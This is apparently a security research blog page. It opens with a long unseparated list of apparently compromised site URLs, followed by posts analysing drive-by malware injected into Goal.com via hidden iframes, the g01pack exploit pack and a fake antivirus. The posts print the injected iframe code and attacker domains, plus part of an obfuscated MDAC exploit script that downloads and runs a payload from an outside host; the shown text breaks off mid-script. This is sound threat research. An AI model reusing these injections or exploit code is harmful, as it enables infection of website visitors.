ict8.nlhttp://www.lakerabunhotel.comhttp://izleriz.orghttp://otcgenius.comhttp://www.acaiberrypower.nethttp://ideblog.comhttp://ulusanhandmade.comhttp://www.yeniturkedebiyati.comhttp://www.aqiosk.comhttp://www.androidv.infohttp://rembudcentr.com.uahttp://www.broilmastergrills.orghttp://www.virtualplaypoker.comhttp://universalsecret.nethttp://zoneware.nethttp://www.mpsinfoservices.comhttp://casinoruff.comhttp://girlsgames.mehttp://www.krayone.comhttp://www.dsfl.nethttp://www.zakozi.comhttp://schiwarz.comhttp://russe.star-kom.plhttp://3xru.ruhttp://kabarbruno.orghttp://francinasingla.comhttp://cartrust.nethttp://www.ifainsurance.infohttp://hkctf.comhttp://lenen-zonder-bkrtoetsing.nlhttp://e-rinka.lthttp://unicentrotunja.com.cohttp://onlinebiznes.euhttp://www.injurylawyersforyou.infohttp://yukmobi.comhttp://sadinfish.comhttp://www.hnldesigns.comhttp://freedomdive.comhttp://butterflycleaning.cahttp://swiatwyscigow.plhttp://intechnde.comhttp://serbesttasarimci.comhttp://ddcovey.comhttp://www.hemorrhoidmiraclex.infohttp://woweb.bizhttp://mobileshop.com.vehttp://www.swabhimaan-education-ngo.comhttp://stayinstyle.co.nzhttp://tangerangkab.go.idhttp://www.registryeasyreview.infohttp://www.morrobaycarshow.orghttp://adelita.com.uahttp://yiu.ac.thhttp://pizzadomiciliu.rohttp://imadel.orghttp://www.rugusa.infohttp://www.acnenomorev.infohttp://hotrosv.comhttp://stockrose.comhttp://bahcelievlerbilgievi.comhttp://be3group.comhttp://www.iphone4cost.infohttp://www.newonlinepokergames.comhttp://valconsulting.com.pehttp://www.kayhanturkmenoglu.com.trhttp://www.agmorganizasyon.comhttp://rifatozkan.com.trhttp://adfolio.orghttp://phuketgolfvacation.comhttp://www.aryaajans.comhttp://targulbisericesc.euhttp://bircefm.nethttp://jazzablanca.comhttp://toccatacollection.comhttp://bestyoungdesigner.comhttp://fitnessworld.ithttp://vikram.inhttp://kinseydesigns.co.ukhttp://dansawi.comhttp://drubet.comhttp://abil-collection.comhttp://kardayim.comhttp://bepadong.vnhttp://fatmagulunsucuneizle.inhttp://futuristicgases.comhttp://www.geranges.infohttp://bytim.nethttp://www.bbwonlinedating.infohttp://nhlturniri.myspot.lvhttp://mariogamesplay.comhttp://quanvbpl.vnbis.comhttp://www.jornalforum.comhttp://www.autopartsgiant.infohttp://routeone-solutions.co.ukhttp://muammerkuyumcu.comhttp://usacheap.ushttp://centralcanaria.comhttp://terraespiritual.orghttp://www.casino-card-game.comhttp://valley-industries.com.auhttp://alternativetohotel.comhttp://www.bharatvision.inhttp://camara.loba.eshttp://papagalos.grhttp://www.internetreklamciligi.orghttp://bedrijfswagenpagina.nlhttp://www.canastasyregalos.comhttp://paintball35.comhttp://mehmetalperen.comhttp://prepaidcreditcardstips.comhttp://telefonyforum.plhttp://dieworks.nethttp://delart.com.pehttp://istanbulcheaphotels.comhttp://przedmiotyszkolne.plhttp://bluehilltulamben.comhttp://sport-world.ithttp://nlcthailand.comhttp://purposeandpower.orghttp://travelbymile.comhttp://topsportsgames.comhttp://feeder-gastronomia.plhttp://pjdcommunity.com.myhttp://thiguide.comhttp://eglen.bizhttp://templatez.orghttp://fotosnimka.comhttp://www.saloon79.com.brhttp://www.selinc.com.pehttp://rogazduire.rohttp://wkschool.orghttp://pl4y312.comhttp://tripreports.nlhttp://house67.comhttp://gll.infohttp://www.lcdsonytv.comhttp://topupd.comhttp://zankov.infohttp://didinpen.comhttp://rsoftware.nethttp://krizztov.comhttp://www.desguacepabloehijos.comhttp://imaginup.euhttp://cauvong.com.vnhttp://bistromargaux.behttp://oomsindia.comhttp://tunajlucas.comhttp://champ.kanevsk.ruhttp://hosting.kanevsk.ruhttp://kolos.kanevsk.ruhttp://news.kanevsk.ruhttp://inter-war.plhttp://buy-snacks-online.comhttp://www.vejpongosot.comhttp://jaarringfestival.nlhttp://saudefrugal.comhttp://igvin.ruhttp://sdkrezekne.lvhttp://qcom24.comhttp://motocat.nethttp://iryt.plhttp://www.saraykisla.comhttp://www.gis-expert.plhttp://www.metapo.comhttp://plaster-studio.comhttp://www.ambio.grhttp://watchmoviefullfreeonline.comhttp://chipchecker.comhttp://homebox.co.thhttp://www.jm-interior.comhttp://bkdsamarinda.web.idhttp://wonderpoems.comhttp://carmenotokiralama.comhttp://delekkerbek.nlhttp://amilliondollarpage.comhttp://www.spnovidom.ruhttp://dalyantr.comhttp://www.valservicios.eshttp://www.ags71.comhttp://sdnkauman1-malang.sch.idhttp://www.affiloramax.infohttp://pink2cake.comhttp://pms.behttp://lacasadelaluna.com.uyhttp://horeca-bouwnet.nlhttp://artiyono.comhttp://kadinkadinayiz.comhttp://gemininirman.comhttp://emlakt.comhttp://beczkaprzezswiat.plhttp://www.anubalpisanwit.ac.thhttp://crthailand.comhttp://greeteasy.comhttp://dveri-plus.com.uahttp://kuntaluk.comhttp://smackdownizle.gen.trhttp://www.lucktocasino.comhttp://www.okaraburgu.comhttp://yerelim.comhttp://simcentral.plhttp://hitmanjazz.comhttp://sisteinfor.com.arhttp://adultalem.ushttp://organicgreenfoods.comhttp://www.ustunfotokopi.comhttp://galleriaopticalva.comhttp://krystynazgazowni.plhttp://bestannonce.comhttp://www.forumarena.nethttp://seb-annu.comhttp://serkansuphiteker.comhttp://www.reachingtheimpossible.comhttp://wildniteradio.comhttp://dskomp.plhttp://grafineri.comhttp://why-do.comhttp://pawelmakowski.plhttp://jbb.mzhost.plhttp://www.sonsoz.orghttp://istanbulisokullari.comhttp://impulsaperu.comhttp://fisicamoral.clhttp://emsgroupltd.comhttp://www.bestwholesaleclothing.comhttp://ourforstmt2.nethttp://studiodada.bizhttp://autoventas.com.uyhttp://gayortam.comhttp://cosmosuae.comhttp://themhouse.inhttp://pickfonts.comhttp://aliceinchains.plhttp://www.labelsexy.comhttp://tuperfumeonline.comhttp://geld-lenenbkr.comhttp://maheshwari-samaj-ludhiana.comhttp://chimalsi.skhttp://microstart.nethttp://www.shinchanphotos.comhttp://drdaybytukta.comhttp://maciejweigel.plhttp://clubs4cash.nethttp://www.blackwelltrader.comhttp://radharanimarbles.comhttp://inspirativemedia.comhttp://christmasmyspacegraphics.comhttp://hiteshbavaliya.comhttp://health-book.nethttp://semerkandgonulluleri.comhttp://gardenstory.plhttp://mediapembelajaranonline.web.idhttp://huseyin-yucel.comhttp://e2e.co.idhttp://www.ismailcetisli.comhttp://danathemedesign.comhttp://webdevbg.comhttp://data-sistem.comhttp://bouncingaround.co.ukhttp://fiilmizleyin.comhttp://miloevents.comhttp://thewisdomwell.comhttp://robota.web.idhttp://advero.plhttp://www.eprintbox.plhttp://linguafit.iehttp://www.turbulencetrainingv.infohttp://olivebranchtours.comhttp://dglproducts.comhttp://sppba.ruhttp://ecoalarm.orghttp://podorzechem.info.plhttp://compesacampeche.comhttp://interiorni.comhttp://serwer.fhuzico.plhttp://greenstreet-bg.comhttp://dalyan1.comhttp://easywayshoping.comhttp://www.caodaitodinhchieuminh.com.vnhttp://www.petit-nanterre.orghttp://splashmarketing.com.vnhttp://zzdpawlowice.plhttp://www.kaleane.comhttp://datquatet.comhttp://dirty.lthttp://xe-vn.nethttp://pinata.cahttp://likesy.plhttp://sukcesteam.euhttp://oyundatek.nethttp://4garcons.comhttp://buga.com.trhttp://dalyanhaber.comhttp://gorrasdorita.comhttp://guvercinim.nethttp://www.dedmi.comhttp://auto-xenon.ruhttp://webmarx.nlhttp://passionostra.comhttp://franciscodeaguirre.clhttp://erdoganardic.comhttp://yelkenmt2.comhttp://www.spbu.com.uyhttp://kayseriotokiralama.bizhttp://hitsozluk.comhttp://hopehealdream.comhttp://makemoneyfromonlinebusiness.orghttp://santamargarita.edu.pehttp://sahinlerkoyu.tkhttp://triptobulgaria.euhttp://highpoint-asia.comhttp://istanbulkulturdans.comhttp://erolaltun.comhttp://izmircetesidizi.comhttp://www.forekshisse.comhttp://efektifsanat.comhttp://www.bestfullgames.comhttp://www.jardinoshop.nethttp://seo.beslim.nethttp://thecreativegenie.com.auhttp://kolderecumhuriyet.k12.trhttp://resepcemilan.comhttp://quaxuan.comhttp://abtnapho.go.thhttp://fullresellrightsoftware.comhttp://web-challenge.nethttp://pc-garage.nlhttp://lotussoftware.nethttp://www.mybizniz.infohttp://www.forekstakas.nethttp://splavviva.comhttp://cikita.orghttp://www.therioclub.comhttp://energieressourcen.euhttp://bahtr.comhttp://redajans.comhttp://macitozcan.comhttp://sieunhan.infohttp://www.omg-magazine.comhttp://deneme.drturkiye.comhttp://lenguyenjsc.comhttp://hkorte.nethttp://www.belekturkey.comhttp://dalyanhomes.nethttp://dalyanholiday.nethttp://holidaycome.comhttp://dmfyapim.comhttp://bubble-express.comhttp://www.evdenevenakliyatucretleri.orghttp://duygusalforum.nethttp://www.argunsahlar.comhttp://www.pfmfastdl.ptclans.infohttp://howorx.infohttp://koco.bizhttp://www.eraydans.comhttp://goldenoldieskusadasi.comhttp://www.cwlrc.orghttp://banquatet.comhttp://zone-page.comhttp://11-88-studios.comhttp://173.192.232.16http://174.122.55.234http://174.133.203.115http://174.133.203.116http://178.162.244.134http://188.165.185.176http://203.146.251.210http://209.62.120.59http://209.62.24.211http://209.62.24.212http://209.62.24.213http://217.117.28.54http://38metin2.comhttp://4explorer.comhttp://4nicetime.comhttp://66.147.239.103http://67.19.62.251http://70.86.154.56http://74.82.53.158http://78.46.102.74http://87.98.218.117http://94.103.40.65http://abitareconstile.comhttp://abunchoftwolips.nlhttp://acebook.gurlville.comhttp://actechdz.comhttp://acupunturayuang.clhttp://administrare-cladiri.rohttp://ad-pay.plhttp://adroiterz.comhttp://akpro.plhttp://alannahgunter.gen.nzhttp://alexeybakhtin.comhttp://alfom.comhttp://alisonlynch.infohttp://allmasscreation.comhttp://al-masoad.comhttp://alt7.infohttp://alwaysvacationtour.comhttp://americanbanker.orghttp://americanmobilephone.comhttp://anashacorp.comhttp://anugrah-abadi.comhttp://anwarulquranonline.comhttp://apdc.com.brhttp://archishots.comhttp://aristidepaun.rohttp://asianhouse2005.comhttp://av360solutions.comhttp://axoncreativo.comhttp://aybastitalebeyurdu.comhttp://azcpagency.comhttp://b2bblue.comhttp://backpackerinkawasi.comhttp://bankaolaem.comhttp://bastation.comhttp://baypubadv.comhttp://bbconnect.beenet.in.thhttp://be3.com.arhttp://beatabrzoza.plhttp://benjalak.co.cchttp://bestforexacademy.comhttp://beypazariseker.comhttp://bgtopproperty.comhttp://bhartiyasamaj.org.nzhttp://bijuarez.comhttp://bingoltime.comhttp://blissrhythm.comhttp://bodrumdenizevleri.comhttp://bodyhome.co.ukhttp://bombel.orghttp://borkro.comhttp://bosstasarim.nethttp://brain-care.comhttp://brownpaper.co.thhttp://bungaloff.ruhttp://cabaniaslejanoeste.com.arhttp://callieandcompany.comhttp://carreramaleconcampeche.comhttp://cassiamatos.com.brhttp://celalalt.rohttp://cenit.org.pehttp://cevdetogullari.com.trhttp://changedlifeseminar.comhttp://chantelb.comhttp://cherrydirect.co.ukhttp://chezarthur.comhttp://chinabetpoker.comhttp://chinapartypoker.comhttp://chinapokerbet.comhttp://chipmaster.pthttp://chsch.ac.thhttp://citycm.comhttp://clahrc-cp.orghttp://cleanhouseskusadasi.comhttp://colincampbell.co.ukhttp://contech05.comhttp://cplinmobiliaria.comhttp://csswebsitedesign.cahttp://cuvenet.behttp://dakkapel-tips.nlhttp://damarlidernegi.comhttp://datingsites-overzicht.comhttp://datvietshop.comhttp://ddc.bialystok.plhttp://dekoratifoluk.comhttp://dev-it.aptests.nethttp://directorysubmitter.inhttp://discreetfotoafdrukken.nlhttp://divels.byhttp://diziizledizi.tkhttp://djpmpro.comhttp://dodiindra.comhttp://donabis.com.brhttp://ekudakov.ruhttp://elider.org.pehttp://emlakdost.comhttp://enwgroup.comhttp://ephos-bg.comhttp://equipedeponta.com.brhttp://erenerdogan.com.trhttp://escaleras-delko.comhttp://escortbayanla.comhttp://esdthailand.comhttp://estudio-zero.comhttp://eugeniasilva.euhttp://evasachsdesigns.comhttp://evelyncampbell.co.ukhttp://eventuresnet.comhttp://evonutrion.comhttp://facebook.gurlville.comhttp://fethiyecarrental.nethttp://filoilkogretim.comhttp://fitnessbuckinghamshire.comhttp://fitness-magazine.orghttp://fluxusministerija.lthttp://flytochina.nlhttp://fok-lo.nohttp://forextradingebooks.comhttp://forumarena.nehttp://fotografiakostrzewa.plhttp://fp.funbite.comhttp://frankhoes.nlhttp://gacashcows.comhttp://gamefountain.comhttp://gdp.co.thhttp://geldlenen-zonder-bkr.nlhttp://gemilangsejati.comhttp://genteygestion.comhttp://gfoods-bg.comhttp://gipsbruk.comhttp://gisdurentiga.comhttp://globalinvestmentg.comhttp://golfcoursemarket.nethttp://golftrend.nethttp://grafabrica.comhttp://grupoipc.comhttp://grzelczak.euhttp://guitare-basse.infohttp://guitarproduction.com.uahttp://haezor.comhttp://haftylogo.plhttp://herrydirect.co.ukhttp://hetboomhuis.nlhttp://hiszpanski-nauka.plhttp://hitachiservice.in.thhttp://hit-mu.nethttp://hlosportales.comhttp://hondzik.orghttp://hqguvenlik.comhttp://hrmperu.comhttp://hr-ramenendeuren.behttp://humusliving.comhttp://iamadiabetic.inhttp://iceinnpattaya.comhttp://ifhchile.clhttp://igrushkin.com.uahttp://ilk-ay.nlhttp://imaxcreative.com.arhttp://imazan.comhttp://imperialmorocco.comhttp://incrementalism.comhttp://infidel.plhttp://infobox.kzhttp://infra.byhttp://Ingallery.comhttp://inomessiniaki.grhttp://integra.co.thhttp://intelisystemstest.comhttp://intermultas.com.brhttp://itmobile.sghttp://izabelamichta.plhttp://izoflor.bghttp://japanathome.nethttp://jbinstel.plhttp://jgceramics.co.ukhttp://justinasburokas.lthttp://kalld.comhttp://kamera-guvenlik-sistemleri.comhttp://karamanesnafrehberi.comhttp://khadijahtulquran.comhttp://kindhearts.infohttp://klik-hosting.nlhttp://kontrakt-avto.ruhttp://koolthailand.comhttp://kotran.nethttp://kotvis.nlhttp://krieserdrywall.comhttp://krissybee.comhttp://krupreeda.comhttp://kuiperssporthalbeheer.nlhttp://kusu.org.trhttp://kwb-stltongeren.behttp://laisvai.lthttp://laygoeye.comhttp://lego-hogwartscastle.comhttp://lewis-ny.comhttp://linsy.co.cchttp://livezilla.802-x.comhttp://lkayinsurance.comhttp://lodzcs.plhttp://lortonmitchellhomes.comhttp://lost-in-wonderland.nethttp://lr-studio.ruhttp://macaupokerbet.comhttp://macoeng.comhttp://maduraja.comhttp://magos.com.uahttp://mangmeeprint.comhttp://mapletreefoundation.nethttp://marinapointetobacco.comhttp://markworld.nlhttp://marmipex.plhttp://maxlifeshop.co.ukhttp://mbadirections.comhttp://mbeydogan.comhttp://megamoneymarketinginfo.comhttp://mertasktosun.comhttp://metodebisnis.nethttp://migliato.com.brhttp://milliondollarpage.cahttp://mlmy.edu.plhttp://monseb72.comhttp://montazysci-okien.plhttp://moraycampbell.co.ukhttp://moto-planet.plhttp://mseshk.comhttp://mssugarvintage.comhttp://mudpots.comhttp://multimarx.nlhttp://municipiodecampeche.gob.mxhttp://muzaffersutluoglu.comhttp://muze-news.infohttp://muzikplatformu.comhttp://muzoliada.plhttp://myanmarvillage.comhttp://my-garden.plhttp://myhonda.web.idhttp://mymmlive.nethttp://naniglobal.comhttp://navtrack.euhttp://necropsya.comhttp://netuser.plhttp://neyilesifa.comhttp://nicolaszuliani.com.arhttp://noclegi-zwierzyniec.plhttp://npc-oniks.ruhttp://nsquare-organize.comhttp://obamahomerecovery.comhttp://oldiesgeneration.comhttp://omegasystems.euhttp://onedepot.com.arhttp://oo-grupazachodnia.plhttp://orcunilbeyli.comhttp://osk-kurzawa.plhttp://ostylist.comhttp://ots.com.pehttp://oxigame.nethttp://paginifunerare.rohttp://paintballossa.plhttp://parthtechnologies.comhttp://paslanmazelekteli.nethttp://pccompakca.com.vehttp://pcnet2u.comhttp://penerbit-ombak.comhttp://perdeto.comhttp://pete-mitchell.comhttp://petkidis.comhttp://phuketmatrioshkatour.ruhttp://physioplusfootscray.com.auhttp://picktemplates.comhttp://pickwallpapers.comhttp://pinfeng163.comhttp://plandela.comhttp://plengpracha.comhttp://pointmangroup.orghttp://premier-league.lthttp://pro-agency.plhttp://proballvip.comhttp://profindo.nethttp://proforhum.org.pehttp://protectourlocalschools.orghttp://p-traveler.comhttp://puertociudad.mxhttp://qednet.nethttp://ravaela.nlhttp://realpay.plhttp://redcherryproject.co.ukhttp://renkgazetesi.comhttp://reprint.clhttp://residencialcocoverde.comhttp://reunanen.infohttp://riskreform.comhttp://roof.byhttp://sahinerbas.comhttp://sapa2.ac.thhttp://satmegalus.comhttp://sbwl.orghttp://schoolhouse.com.pehttp://schulzfamilie.comhttp://serwery-cs.nethttp://serwkomp-houm.plhttp://setsoft.nethttp://shonacampbell.co.ukhttp://shoreline.inhttp://shriganeshportraits.comhttp://silenceforce.behttp://simplyheavenbaby.comhttp://siobhancampbell.co.ukhttp://small-servers.comhttp://smyrna.gehttp://snoezelenzo.nlhttp://solusstudio.plhttp://somuncuinsaat.com.trhttp://soorajmull.nethttp://spec24.com.plhttp://star-gom33ki.comhttp://stolarz-bydgoszcz.infohttp://supersmarthosting.comhttp://support.802-x.comhttp://svetlanashkrebtan.comhttp://sweetzplaza.comhttp://tabanflourmills.irhttp://taitoudesign.comhttp://tasavang.comhttp://tathastustudios.comhttp://tattoo-weglaseren.nlhttp://teamroomonline.comhttp://terraval.nethttp://thaigiftshop.bizhttp://thaimueangecotourism.comhttp://thanlnw.tkhttp://thespagroup.co.thhttp://thesuperstock.comhttp://thomaspage.dkhttp://tmwmetal.comhttp://toprakko.tkhttp://tradicionesdelperu.com.pehttp://turkey-thailand.comhttp://tutsbox.comhttp://twitterlays.comhttp://ulusmobilya.nethttp://unicornteleservices.comhttp://uniline-international.comhttp://uni-prof.ruhttp://vanfolklordernegi.comhttp://vangarderen.orghttp://vanozelders.comhttp://vavilon-bg.nethttp://vegaspokerbet.comhttp://vfxmaking.comhttp://vidhisec.comhttp://vioutlet.comhttp://viptimegift.comhttp://vittalys.clhttp://wangsingresort.comhttp://watorachacha.comhttp://wawer-szkolajazdy.plhttp://webbladeren.nlhttp://webhostbangkok.comhttp://webmasterphuket.comhttp://weddingparadisephuket.comhttp://weight2loss.comhttp://welltour.kiev.uahttp://wickedcigarettes.comhttp://witteveenreclame.nlhttp://wizart-studio.plhttp://www.108vintage.comhttp://www.ahdvietnam.comhttp://www.altincilekfiyati.comhttp://www.armiyadisignori.comhttp://www.avv-roermond.nlhttp://www.baracca.jphttp://www.bestadvice.rohttp://www.bspsac.nehttp://www.bspsac.nethttp://www.cbooy.comhttp://www.chawkacherresort.comhttp://www.christodoulidi.grhttp://www.chrometuner.comhttp://www.cihatkablan.com.trhttp://www.clubesocialkz.com.brhttp://www.demirgucbirligi.comhttp://www.discount-gas-coupons.comhttp://www.dsmartkampanya.orghttp://www.eigencreche.behttp://www.erdemmutfak.com.trhttp://www.er-web.nethttp://www.eshraq.pshttp://www.e-starprint.comhttp://www.forester58.comhttp://www.fsseguros.nethttp://www.gallerytaskoff.comhttp://www.guranorman.comhttp://www.gurelkosdemir.comhttp://www.hdtvbestselleronsale.comhttp://www.hokseng.comhttp://www.hristravel.comhttp://www.i-creative.plhttp://www.incalifehostel.comhttp://www.jewsengheng.comhttp://www.johnsdarkroom.cahttp://www.kangzensuphan.comhttp://www.knifesharpeningservices.bizhttp://www.ladyai.go.thhttp://www.lezizlezzet.com.trhttp://www.louisquail.comhttp://www.magicjoefuncenters.dehttp://www.mastermindfarms.orghttp://www.microart.bizhttp://www.minosoma.com.plhttp://www.m-norte.nethttp://www.mymatematik.comhttp://www.nettrafficbrokers.comhttp://www.newsoutreach.orghttp://www.occasiecars.behttp://www.peruenred.nethttp://www.phannoiwit.comhttp://www.phfirc.orghttp://www.pieandahat.comhttp://www.project-pc.ithttp://www.promotioncheck.comhttp://www.rafaello-trading.comhttp://www.redsna.comhttp://www.renklima.comhttp://www.sem-elektrik.comhttp://www.sindhudurgdccb.comhttp://www.sin-eido.jphttp://www.smibilingual.comhttp://www.solar-it.comhttp://www.somyotweb.comhttp://www.subhobibaho.comhttp://www.subtakean.go.thhttp://www.sukpriwan.comhttp://www.teepak4you.comhttp://www.thaigraphic.comhttp://www.thaimark.com.plhttp://www.thuiszorgzaam.nlhttp://www.tipthailand.nethttp://www.tostell.comhttp://www.triplechip.nethttp://www.ubon-cybercare.comhttp://www.ulusevdenevenakliyat.comhttp://www.urkobtt.comhttp://www.vankulturturizm.comhttp://www.vbac-club.comhttp://www.vkhospital.com.vnhttp://www.walidonsy.comhttp://www.yesilirmakdershanesi.comhttp://www.zsmokre.plhttp://wwwtrac.comhttp://wyszynykoscielne.plhttp://xn--enyakn-t9a.comhttp://yazilimdenizi.comhttp://yelmosplace.com.arhttp://zajazd-staropolski.com.plhttp://zlinki.comhttp://zodiak-garden.nl

Read more (rest of article)...

Porn sites have lots of traffic...and malvertisements

This summary is not available. Please click here to view the post.
Read more (rest of article)...

Goal.com spreading malware again: "Security Shield" fake anti-virus

(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)

In our last post we researched Goal.com's infection and one of our conclusions were: "From what we've collected, parts of goal.com seem to have been compromised allowing the attacker to manipulate content at will. A backdoor may exist to allow the attacker continuous control of goal.com's content."

That infection was eliminated from Goal.com a day later. However, HackAlert just flagged a new infection, suggesting that the attacker should have a backdoor into Goal.com. This time, they've made Goal.com serve a fake anti-virus software called "Security Shield."

[Summary]

Behavior: Users visit Goal.com, and are served with malicious scripts residing on 31d6f5art8.co.be, which starts a drive-by download process that installs Security Shield into the vistors' machines, without having to trick the visitors into doing anything or clicking on anything. Simply visiting the page infects the visitors. Security Shield will continuously pop up fake alerts and launch browsers to open porn sites, and only stops after a "license" has been purchased. Rebooting will not remove this malware; it's installed in the victims' machines and will always execute.

The exploit domain (a78hl7zv4p.co.be) only serves to each IP once.

Very quickly after the initial publication of this post, the attacker quickly retired the above-mentioned pair of malicious domains, and used a new pair: zfdim0u06t.co.be and 4t7uxaxrg8.co.be. When we modified our blog again, they retired the new pair, and replaced with a third pair: uzldzzzeo3.co.be and zepa6hr6jk.co.be.

Detection rates:
The malicious domains include 31d6f5art8.co.be, a78hl7zv4p.co.be, zfdim0u06t.co.be, and 4t7uxaxrg8.co.be. None has been flagged by any of the 18 supported blacklists on urlvoid.com. As for Goal.com, itself, the same--0 out of 18 vendors on urlvoid.com.

The binary executable for Security Shield triggered only 6 out of 42 vendors on VirusTotal.

Technique used:
Drive-by download, attacker has control of Goal.com's content. Not malvertising.

Below is a video of the entire infection process, from initially visiting goal.com, to later ending up with a fake antivirus on the system.

[The Infection]
The injection point was [http://www.goal.com/en], and the injected code was:

<div id="eplayer">
<style type="text/css">#adtfd {width: 1px;height: 1px;frameborder: no;visibility: hidden;}</style>
<iframe id="adtfd" src="http://31d6f5art8.co.be/ad.jpg"></iframe>
</div>

Which then generates and iframe to http://a78hl7zv4p.co.be/domains/buy, which then serves the exploit code. Upon successful exploitation, the browser process connects to the following URL format and downloads Security Shield:
http://a78hl7zv4p.co.be/domains/bf02bde9910ff9be016eb48ac5a51043.php?thread_id=2&f=63444537&topic_id=buy&

Security Shield installs itself into the system and starts to show fake alerts and pop up browsers to open porn sites:


[The Detection]
The binary executable for Security Shield triggered only 6 out of 42 vendors on VirusTotal.

As for Goal.com, 0 out of 18 vendors on urlvoid.com has flagged them:


Goal.com receives 232,116 unique visitors per day according to compete.com, 215,989 according to checksitetraffic.com, and ranks 379 globally on alexa.com.
Read more (rest of article)...

Goal.com serving malware

(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)
(Follow up post on reinfection posted May 17th)

Goal.com receives 232,116 unique visitors per day according to compete.com, 215,989 according to checksitetraffic.com, and ranks 379 globally on alexa.com.

Recently between April 27th to 28th, it was detected by HackAlert to be actively serving malware (drive-by downloads). From what we've observed, we believe the attacker has a way into goal.com's system and was only testing during this time. This is our technical report.

[Summary]

A. From what we've collected, parts of goal.com seem to have been compromised allowing the attacker to manipulate content at will. A backdoor may exist to allow the attacker continuous control of goal.com's content.

B. During this time we've observed different malicious scripts injected into goal.com, leading us to believe that this isn't a one-time mass SQL injection attempt. We've also not found the injected content to appear in other websites.

C. The malicious domains include:
1. pxcz.cz.cc, which is neither being flagged by any antivirus blacklist nor by Google SafeBrowsing.
2. opofy7puti.cz.cc, which is neither being flagged by any antivirus blacklist nor by Google SafeBrowsing.
3. justatest.cz.cc, which is neither being flagged by any antivirus blacklist nor by Google SafeBrowsing.

This further suggests that this is an attack targeted at goal.com

D. Duration was between April 27th to 28th. The attacker seemed to be testing their injections and was picked up by our scanners.

E. Browser exploits used during this "test-drive" included: CVE-2010-1423 (Java), CVE-2010-1885 (MS help center HCP), CVE-2009-0927 (PDF), and CVE-2006-0003 (MS MDAC).

F. The g01pack exploit pack was being used. It includes a fake admin page which is used as a honeynet for security researchers--to allow the attacker to observe who is studying their malicious domains.

G. The exploit codes were well mutated. We don't mean well "obfuscated," because in addition to obfuscation, the primitive form of the exploit itself has been mutated well so as to avoid detection.

H. Malware served was packed with UPX and modifies setupapi.dll and sfcfiles.dat. When we first submitted it to VirusTotal, 4 out of 41 antivirus vendors were able to flag it.

I. The malware connects to the following domains:

1. testurl.ipq.co:80 (in UK), which again, is neither flagged by any antivirus blacklist nor by Google SafeBrowsing
2. 74.125.47.99:80 (US), which reverses back to coldgold.co.uk, and which again, isn't blacklisted by any, including Google SafeBrowsing.
Details:
3. banderlog.org, not flagged by anvirus / Google SafeBrowsing, but has some records on clean-mx.de.

[Details]

One of the infection logs can be downloaded here. It includes all the http traffic, from loading goal.com to downloading the PE malware binary.

The chain of infection is:
1. goal.com, includes iframe to pxcz.cz.cc
2. pxcz.cz.cc iframes to justatest.cz.cc
3. justatest.cz.cc runs the exploit pack g01pack, serves exploits based on visitor's browser type
4. exploit compromises browser, downloads malware from justatest.cz.cc
5. malware links to testurl.ipq.co (UK), 74.125.47.99:80 (US, coldgold.co.uk), and banderlog.org.
The infection started in http://www.goal.com/en/:

<p>Arjen Robben has admitted that his future lies with the German and European giants, hinting that he could even remain there for the rest of his career <style type="text/css">#yxvim {width: 1px;height: 1px;frameborder: no;visibility: hidden;}</style><iframe id="yxvim" src="http://pxcz.cz.cc/ad.jpg"></iframe></p>

The attacker injected an iframe at the end of the above HTML snippet, pointing to pxcz.cz.cc. pxcz.cz.cc contains another iframe pointing to justatest.cz.cc, which is both the exploit and the malware server, running g01pack. A unique feature of this exploit pack is the inclusion of a fake admin / stats page. This page supports common id / password combinations like admin / admin to trick security researchers into believing that they've obtained access to the exploit pack's admin page:

Once logged in, the researcher is presented with a fake infection stats page. In reality, this allows the attacker to gain insights into who has identified the malicious domain, and is conducting investigation.

The exploit codes were well mutated. We don't mean well "obfuscated," because in addition to obfuscation, the primitive form of the exploit itself has been mutated well so as to avoid detection. Since it's an exploit pack, there's too many exploits to post them all here. We've posted on version here, which is the MDAC exploit. If interested, you can download one of the infection logs here.

<html>en clonus purins knot ghat inlier sine bipeds obese tart.<body>heroins pallors glugs. Opera. Pyx ducted boss shea abele knot hajes eh moot nisi tickled howl pangens bobs blind stir reinked ajee.atria obese saddle. Nisi uh bracts pyx.bipeds abaft arctic brave arabic purins blind polo. Pyx pallors. Sludge atria noisy bug slojd stow dumps. Kappa sri tawse bracts hank.fresco delta. Caldron arctic bucko sine byre inlier haeres.<script>

var test;

function redirect(){
location.href="?topic_id=6.0&forum_id=qtest&action=MSIE&nid=name&year=c&start=2&thread_id=53585053&rid=708";
}

setTimeout(redirect, 20000);

var move=new String("openul0".substr(0,4));
var out=["ctfmon",String("javaWI8X".substr(0,4)),new String("acro"+"bat"),new String("explore"+"rC52".substr(0,1)),String("useri"+"nit"),"chromeHkpS".substr(0,6),"svch"+"ostc"];
var follow="Sav"+"eTo"+"Fil"+"e";
var air;
var family=1;
var low=6000;
var never=";";
var now=String("setTimeout");
var sun=0;
var age="";
var turn=[];
var have=["spellOver","play","cross"];this.few=29107;this.few-=150;
var begin;
var useDrive="clsid:BD9oqk".substr(0,9)+"6C556-65ANEm".substr(0,9)+"3-11D0-98rWqE".substr(0,9)+"3A-00C04F"+"ZuqC29E36uqZ".substr(3,6);

var stay=new String("she"+"lle"+"xec"+"ute");
var then=new String("replaceUyK".substr(0,7));

var once=new String("typeUdm".substr(0,4));
var ground=["youUnder","home","base"];
var own=new String();
var meLittle="setAttrT2hF".substr(0,7)+"ibute5MEY".substr(0,5);
var will=new String("pus5ceI".substr(0,3)+"9BUhU9B".substr(3,1));
var most=2;
var best="send";

var teachSeem="";var star="";try {} catch(mark){};
var strong;
var bed="Close";
var end="Wri"+"te";
var pass="http://opofy7puti.cz.cc:80/domains/f848af41f9d81c1603fb52a6b7844642.php?start=12&thread_id=53585053&forum_id=qtest&";

var readAmong="CreateObjec"+"t";
var redDog="responseBo"+"dyck4".substr(0,2);

function oh(){

sea=[];want=18559;want++;
try {var book="ourPiece"} catch(book){};var they="";come=["northTurn","set","above"];
change={};

if(pass.indexOf(never) > -1){
var groundMight=new Array();this.strongLess=978;this.strongLess++;call={word:10445};
var writeHim=["comeWould"];
var serve="";var stopYes="";hand=25269;hand-=192;

school = pass.split(never);
var good={his:20957};var turnBoy=false;this.travel="travel";
add=16993;add--;var should="";
for(var i in school){

var govern="";this.airMark=false;
place=27537;place-=204;try {var run="familyCommon"} catch(run){};var yetNeed=new String();
var quick = school[i][then](/^\s+|\s+$/g, age); 
var music="";this.plant=459;this.plant-=142;var underHad="";
fall={};yetFarm=6780;yetFarm-=19;var shape=29557;
if(quick != age){
var make=false;var their={high:"down"};plane={yes:"front"};
